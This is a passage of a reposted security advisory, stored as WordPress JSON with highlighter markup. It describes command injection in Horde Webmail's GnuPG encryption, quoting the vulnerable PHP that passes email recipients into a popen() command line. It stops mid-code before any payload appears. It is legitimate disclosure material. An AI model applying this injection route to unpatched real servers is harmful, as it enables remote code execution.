{"id":7285,"date":"2017-04-09T14:20:37","date_gmt":"2017-04-09T22:20:37","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/04\/09\/news-1076\/"},"modified":"2017-04-09T14:20:37","modified_gmt":"2017-04-09T22:20:37","slug":"news-1076","status":"publish","type":"post","link":"https:\/\/www.palada.net\/index.php\/2017\/04\/09\/news-1076\/","title":{"rendered":"SSD Advisory \u2013 Horde Groupware Webmail Multiple Remote Code Execution Vulnerabilities"},"content":{"rendered":"<p><strong>Credit to Author: Maor Schwartz| Date: Sun, 09 Apr 2017 10:28:46 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<p><strong>Want to get paid for a vulnerability similar to this one?<\/strong><br \/>Contact us at: <a href=\"mailto:sxsxd@bxexyxoxnxdxsxexcxuxrxixtxy.com\" onmouseover=\"this.href=this.href.replace(\/x\/g,'');\" id=\"a-href-3107\">sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom<\/a><\/p>\n<p><script>var obj = jQuery('#a-href-3107');if(obj[0]) { obj[0].innerText = obj[0].innerText.replace(\/x\/g, ''); }<\/script>  \t\t<\/p>\n<p><strong>Vulnerabilities Summary<\/strong><br \/> The following advisory describes two (2) vulnerabilities found in Horde Groupware Webmail.<\/p>\n<p>Horde Groupware Webmail Edition is a free, enterprise ready, browser based communication suite. Users can read, send and organize email messages and manage and share calendars, contacts, tasks, notes, files, and bookmarks with the standards compliant components from the Horde Project. Horde Groupware Webmail Edition bundles the separately available applications IMP, Ingo, Kronolith, Turba, Nag, Mnemo, Gollem, and Trean.<\/p>\n<p>It can be extended with any of the released Horde applications or the applications that are still in development, like a bookmark manager or a file manager.<\/p>\n<p>Affected versions: Horde 5, 4 and 3<\/p>\n<p>The vulnerabilities found in Horde Groupware Webmail are:<\/p>\n<ul>\n<li>Authentication Remote Code Execution<\/li>\n<li>Unauthentication Remote Code Execution<\/li>\n<\/ul>\n<p><strong>Credit<\/strong><br \/> An independent security researcher has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program.<\/p>\n<p><strong>Vendor response<\/strong><br \/> Horde has released a patch to address the vulnerabilities.<\/p>\n<p>For more information: <a href=\"https:\/\/lists.horde.org\/archives\/horde\/Week-of-Mon-20170403\/056767.html\" target=\"_blank\">https:\/\/lists.horde.org\/archives\/horde\/Week-of-Mon-20170403\/056767.html<\/a><\/p>\n<p><span id=\"more-3107\"><\/span><\/p>\n<p><strong>Vulnerabilities Details<\/strong><\/p>\n<p><strong>Authentication Remote Code Execution<\/strong><br \/> Horde Webmail contains a vulnerability that allows a remote attacker to execute arbitrary code with the privileges of the user who runs the web server.<\/p>\n<p>For successful attack <em>GnuPG<\/em> feature should be enabled on the target server (path to gpg binary should be defined in <em>$conf[gnupg][path]<\/em> setting).<\/p>\n<p>Vulnerable code: <em>encryptMessage()<\/em> function of GPG feature.<\/p>\n<p>Path: <em>\/Horde\/Crypt\/Pgp\/Backend\/Binary.php<\/em>:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b37274f608756242\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* 416 *\/ public function encryptMessage($text, $params)  \/* 417 *\/ {  \/* \u2026 *\/  \/* 435 *\/ foreach (array_keys($params[&#8216;recips&#8217;]) as $val) {  \/* 436 *\/ $cmdline[] = &#8216;&#8211;recipient &#8216; . $val;                        #! vulnerable code  \/* \u2026 *\/  \/* 444 *\/ \/* Encrypt the document. *\/  \/* 445 *\/ $result = $this-&gt;_callGpg(  \/* 446 *\/ $cmdline,  \/* 447 *\/ &#8216;w&#8217;,  \/* 448 *\/ empty($params[&#8216;symmetric&#8217;]) ? null : $params[&#8216;passphrase&#8217;],  \/* 449 *\/ true,  \/* 450 *\/ true  \/* 451 *\/ );<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0019 seconds] -->  <\/p>\n<p><em>$params[&#8216;recips&#8217;]<\/em> will be added to <em>$cmdline<\/em> array and passed to <em>_callGpg()<\/em>:<\/p>\n<p>Path: <em>\/Horde\/Crypt\/Pgp\/Backend\/Binary.php<\/em>:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b37275a201614383\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* 642 *\/ public function _callGpg(  \/* 643 *\/ $options, $mode, $input = array(), $output = false, $stderr = false,  \/* 644 *\/ $parseable = false, $verbose = false  \/* 645 *\/ )  \/* 646 *\/ {  \/* \u2026 *\/  \/* 675 *\/ $cmdline = implode(&#8216; &#8216;, array_merge($this-&gt;_gnupg, $options));  \/* \u2026 *\/  \/* 681 *\/ if ($mode == &#8216;w&#8217;) {  \/* 682 *\/ if ($fp = popen($cmdline, &#8216;w&#8217;)) {                        #! vulnerable code  \/* \u2026 *\/<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37275a201614383-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37275a201614383-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37275a201614383-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37275a201614383-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37275a201614383-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37275a201614383-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37275a201614383-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37275a201614383-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37275a201614383-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37275a201614383-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37275a201614383-11\">11<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-58eab3b37275a201614383-1\"><span class=\"crayon-c\">\/* 642 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">_callGpg<\/span><span class=\"crayon-sy\">(<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37275a201614383-2\"><span class=\"crayon-c\">\/* 643 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">options<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">mode<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">input<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">output<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">stderr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37275a201614383-3\"><span class=\"crayon-c\">\/* 644 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">parseable<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">verbose<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37275a201614383-4\"><span class=\"crayon-c\">\/* 645 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37275a201614383-5\"><span class=\"crayon-c\">\/* 646 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37275a201614383-6\"><span class=\"crayon-c\">\/* \u2026 *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37275a201614383-7\"><span class=\"crayon-c\">\/* 675 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">cmdline<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">implode<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216; &#8216;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">array_merge<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">_gnupg<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">options<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37275a201614383-8\"><span class=\"crayon-c\">\/* \u2026 *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37275a201614383-9\"><span class=\"crayon-c\">\/* 681 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">mode<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;w&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37275a201614383-10\"><span class=\"crayon-c\">\/* 682 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">fp<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">popen<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">cmdline<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;w&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-p\">#! vulnerable code<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37275a201614383-11\"><span class=\"crayon-c\">\/* \u2026 *\/<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0018 seconds] -->  <\/p>\n<p>We can see that our recipients (addresses) will be in command line that is going to be executed. <em>encryptMessage()<\/em> function can be reached by various API, requests. For example it will be called when user try to send encrypted message.<\/p>\n<p>Our request for encryption and sending our message will be processed by <em>buildAndSendMessage()<\/em> method:<br \/> Path: <em>\/imp\/lib\/Compose.php<\/em><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b37275d727135717\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* 733 *\/ public function buildAndSendMessage(  \/* 734 *\/ $body, $header, IMP_Prefs_Identity $identity, array $opts = array()  \/* 735 *\/ )  \/* 736 *\/ {  \/* 737 *\/ global $conf, $injector, $notification, $prefs, $registry, $session;  \/* 738 *\/  \/* 739 *\/ \/* We need at least one recipient &amp; RFC 2822 requires that no 8-bit  \/* 740 *\/ * characters can be in the address fields. *\/  \/* 741 *\/ $recip = $this-&gt;recipientList($header);  \/* &#8230; *\/  \/* 793 *\/ \/* Must encrypt &amp; send the message one recipient at a time. *\/  \/* 794 *\/ if ($prefs-&gt;getValue(&#8216;use_smime&#8217;) &amp;&amp;  \/* 795 *\/ in_array($encrypt, array(IMP_Crypt_Smime::ENCRYPT, IMP_Crypt_Smime::SIGNENC))) {  \/* &#8230; *\/  \/* 807 *\/ } else {  \/* 808 *\/ \/* Can send in clear-text all at once, or PGP can encrypt  \/* 809 *\/ * multiple addresses in the same message. *\/  \/* 810 *\/ $msg_options[&#8216;from&#8217;] = $from;  \/* 811 *\/ $save_msg = $this-&gt;_createMimeMessage($recip[&#8216;list&#8217;], $body, $msg_options);        #! vulnerable code<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37275d727135717-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37275d727135717-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37275d727135717-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37275d727135717-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37275d727135717-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37275d727135717-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37275d727135717-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37275d727135717-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37275d727135717-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37275d727135717-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37275d727135717-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37275d727135717-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37275d727135717-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37275d727135717-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37275d727135717-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37275d727135717-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37275d727135717-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37275d727135717-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37275d727135717-19\">19<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-58eab3b37275d727135717-1\"><span class=\"crayon-c\">\/* 733 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">buildAndSendMessage<\/span><span class=\"crayon-sy\">(<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37275d727135717-2\"><span class=\"crayon-c\">\/* 734 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">body<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">header<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">IMP_Prefs<\/span><span class=\"crayon-sy\">_<\/span>Identity<span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">identity<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">opts<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37275d727135717-3\"><span class=\"crayon-c\">\/* 735 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37275d727135717-4\"><span class=\"crayon-c\">\/* 736 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37275d727135717-5\"><span class=\"crayon-c\">\/* 737 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">global<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">conf<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">injector<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">notification<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">prefs<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">registry<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">session<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37275d727135717-6\"><span class=\"crayon-c\">\/* 738 *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37275d727135717-7\"><span class=\"crayon-c\">\/* 739 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/* We need at least one recipient &amp; RFC 2822 requires that no 8-bit<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37275d727135717-8\"><span class=\"crayon-c\">\/* 740 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">characters <\/span><span class=\"crayon-e\">can <\/span><span class=\"crayon-e\">be <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">the <\/span><span class=\"crayon-e\">address <\/span><span class=\"crayon-v\">fields<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-o\">\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37275d727135717-9\"><span class=\"crayon-c\">\/* 741 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">recip<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">recipientList<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">header<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37275d727135717-10\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37275d727135717-11\"><span class=\"crayon-c\">\/* 793 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/* Must encrypt &amp; send the message one recipient at a time. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37275d727135717-12\"><span class=\"crayon-c\">\/* 794 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">prefs<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getValue<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;use_smime&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37275d727135717-13\"><span class=\"crayon-c\">\/* 795 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">in_array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">encrypt<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">IMP_Crypt_Smime<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">ENCRYPT<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">IMP_Crypt_Smime<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">SIGNENC<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37275d727135717-14\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37275d727135717-15\"><span class=\"crayon-c\">\/* 807 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37275d727135717-16\"><span class=\"crayon-c\">\/* 808 *\/<\/span><span class=\"crayon-h\"> <\/span><span 